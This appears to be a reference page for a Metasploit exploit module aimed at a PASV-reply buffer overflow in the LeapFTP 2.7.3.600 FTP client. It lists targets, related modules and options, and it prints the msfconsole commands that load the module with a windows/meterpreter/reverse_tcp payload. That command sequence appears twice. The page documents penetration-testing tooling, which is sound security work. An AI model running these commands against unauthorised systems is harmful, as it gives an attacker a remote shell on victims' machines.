LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow
This module exploits a buffer overflow in the LeapWare LeapFTP v2.7.3.600 client that is triggered through an excessively long PASV reply command. This module was ported from the original exploit by drG4njubas with minor improvements.
Exploit Rank
- Normal
Exploit Authors
- patrick < patrick [at] osisecurity.com.au >
Vulnerability References
Exploit Targets
- 0 - Universal LeapFTP.exe (default)
- 1 - Windows 2000 SP0/4 English
- 2 - Windows XP SP0 English
Exploit Development
Similar Exploit Modules
- exploit/windows/ftp/32bitftp_list_reply
- exploit/windows/ftp/3cdaemon_ftp_user
- exploit/windows/ftp/aasync_list_reply
- exploit/windows/ftp/ability_server_stor
- exploit/windows/ftp/absolute_ftp_list_bof
- exploit/windows/ftp/cesarftp_mkd
- exploit/windows/ftp/dreamftp_format
- exploit/windows/ftp/easyfilesharing_pass
- exploit/windows/ftp/easyftp_cwd_fixret
- exploit/windows/ftp/easyftp_list_fixret
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/ftp/leapftp_pasv_reply
msf exploit(leapftp_pasv_reply) > show payloads
msf exploit(leapftp_pasv_reply) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(leapftp_pasv_reply) > set LHOST [MY IP ADDRESS]
msf exploit(leapftp_pasv_reply) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/ftp/leapftp_pasv_reply
msf exploit(leapftp_pasv_reply) > show payloads
msf exploit(leapftp_pasv_reply) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(leapftp_pasv_reply) > set LHOST [MY IP ADDRESS]
msf exploit(leapftp_pasv_reply) > exploit
Exploit Module Options
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVNAME | Welcome to the ... FTP Service (default: Test) |
| SRVPORT | The FTP daemon port to listen on (default: 21) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| DynamicSehRecord | Generate a dynamic SEH record (more stealthy) |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |